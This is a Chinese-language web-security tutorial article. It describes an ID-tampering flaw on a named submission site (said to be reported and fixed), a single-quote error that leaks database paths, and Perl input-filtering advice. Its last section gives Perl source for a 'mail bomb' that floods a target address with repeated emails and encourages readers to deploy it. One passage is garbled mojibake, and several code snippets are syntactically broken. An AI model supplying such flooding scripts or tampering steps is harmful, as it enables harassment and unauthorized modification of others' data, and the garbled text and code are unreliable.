例如http://www.tougao.com/网站提供的“稿件管理系统”就存在一个很严重的问题(本人已经和他们联系并说明此漏洞、相关漏洞现已修复),让我们看看通过浏览器访问它的形式,当我们阅读其中的稿件时,会发现在URL内的地址是/list.asp?articleid=nnnn,显然list.asp是显示文章的程序,而后面的?articleid=nnnn则是它的参数,nnnn是文章的编号。当黑客申请成为tougao网站的一员后,便拥有了上传文章和修改、删除自己发表文章的权利,修改文章使用editarticleself.asp?articleid=nnnn,其中的nnnn应该是自己的文章代码,但是如果黑客将文章代码改变会怎么样呢?
修改了文章代码后发现,可以对其他文章进行修改!也就是说任何经过免费注册成为tougao网站的用户都可以拥有修改任意文章的权利,同时使用delarticleself.asp则可以删除任何文章! ∫淮喂セ鞴涛乙丫鹗鐾炅耍遣皇欠浅<虻ィ科涫迪裾庵治侍馔缟纤娲杉煤孟胍幌拢绻詎nnn的修改进行的更“不着边际”,例如输入几个英文字母或者标点符号会出现什么情况?经过尝试发现,当属的数值为“单引号”是,系统会出现错误并报告数据库文件的名称、磁盘物理路径等敏感信息,这样就可以直接通过下载软件将他们的数据库下载到本地并从中找到管理员账号。
在早期的YukiBBS3000上,当注册者的注册信息内包含单引号时,也会出现“程序运行错误”的提示,并且造成论坛的内部数据错误,彻底终止论坛的正常运行。 二、防范攻击: 相对来说,网易、新浪等大型门户网站在这方面做的比较好,他们对文章ID号进行了判断,防止特殊字符的介入,如果使用者输入了非法的字符,经过检测系统会提示输入的ID号码非法,并且拒绝接受请求,返回一个“输入字符非法”的界面。
另外对于文章的修改,他们也考虑的非常周到,在进行每一次文章修改的时候,系统都会检测用户身份,确定准备修改的文章是否属于登陆身份,如果不属于则会提出警告信息。而实际上,这种问题在早期他们的网站上也是存在的,只不过因管理员网络安全意识比较强,因此即使的发现并修补了漏洞。
cgi、perl等程序在设计的时候,必须考虑到各种可能出现的情况,例如对文件名的提交必须考虑周到,一个程序没有考虑到的特殊名称也许会对系统造成非常严重的后果,用户输入一个文件名,有可能就试图打开输入危险字符串!例如用户输入的文件名中包含路径字符,如目录斜杠和双点!尽管你期望的是输入公用的文件名(例如report.txt),但结果却可能是/report.txt或//report.txt等等,系统中所有文件就有可能泄露出去,后果是可想而知的。
设计cgi、perl程序,最好能够在代码中加入下面的非常字符检测代码:
if(($file_name=——/[^a-zA-Z_\.]/) ($file_name=——/^\./))
{ #文件包含有不合法字符 }
另外还要注意对大于号、小于号的判断,因为这两种符号是html文档中 的属性符号,不进行屏蔽会对论坛造成严重的后果,网络上不是有很多“小儿科”的聊天室踢人术吗?简单的方式是不允许小于号和大于号的出现,因为所有 HTML语法必须包含在这两个字符间,如果程序检测到它们就返回一个错误提示,下面一行Perl代码快速地清除了这两个字符:
$user_input=~s/<>//g;
当然还有比较好的选择,就是将这两个字符转换成它们的HTML换码(特殊的代码),用于表示每个字符而不使用该字符本身。下面的代码通过全部用<替换了小于符号,用>替换了大于符号,从而完成了转换过程: $user_input=~s//& gt;/g; 三、编写简单的邮件炸弹: 利用Perl程序可以非常快速的编写邮件炸弹程序,这种方法比起直接使用别人编写的邮件炸弹要好的多,至少学习者能够真正“体会一下”什么才是黑客。有 关这个炸弹的编译环境是具备一台有CGI权限的网络服务器,同时这台服务器上提供了sendmail命令(当然这一切可以在自己的系统上进行设置),并且 学习着还要初步了解有关perl语言的知识。
程序的原理非常简单,就是利用sendmail命令向目标重复发送相同内容的电子邮件,为了控制发送邮件的数量,我们声明一个计数器变量,同时将程序用while()函数做循环,下面我们看一下程序的源代码: #!/bin/perl
$file='/user/lib/sendmail';
$target='someone@target.com';
$count=0;
while($count<1000){
open(MAIL,"/$file$target") die" Can not open $file!\n
print MAIL"哈哈,你被攻击啦"
close(MAIL);
sleep 3;
$count++;
}
看明白了吗?程序就上面这点儿,是不是非常简单?因为Perl属于解释型语言,因而不需要进行编译,直接将源代码上传到服务器上,然后设置成为755或 者775型,就可以通过浏览器调用而直接使用了。程序中的$file和$target变量分别定义了sendmail命令的路径和目标的地址,在使用此程 序以前要根据个人需要进行修改,而$count变量是我们要发送的炸弹邮件数量,因为发送邮件工作是服务器完成的,因而速度非常快,这个数量可以设置的大 一些,我们并不会感觉到程序的缓慢。
(责任编辑:鑫报)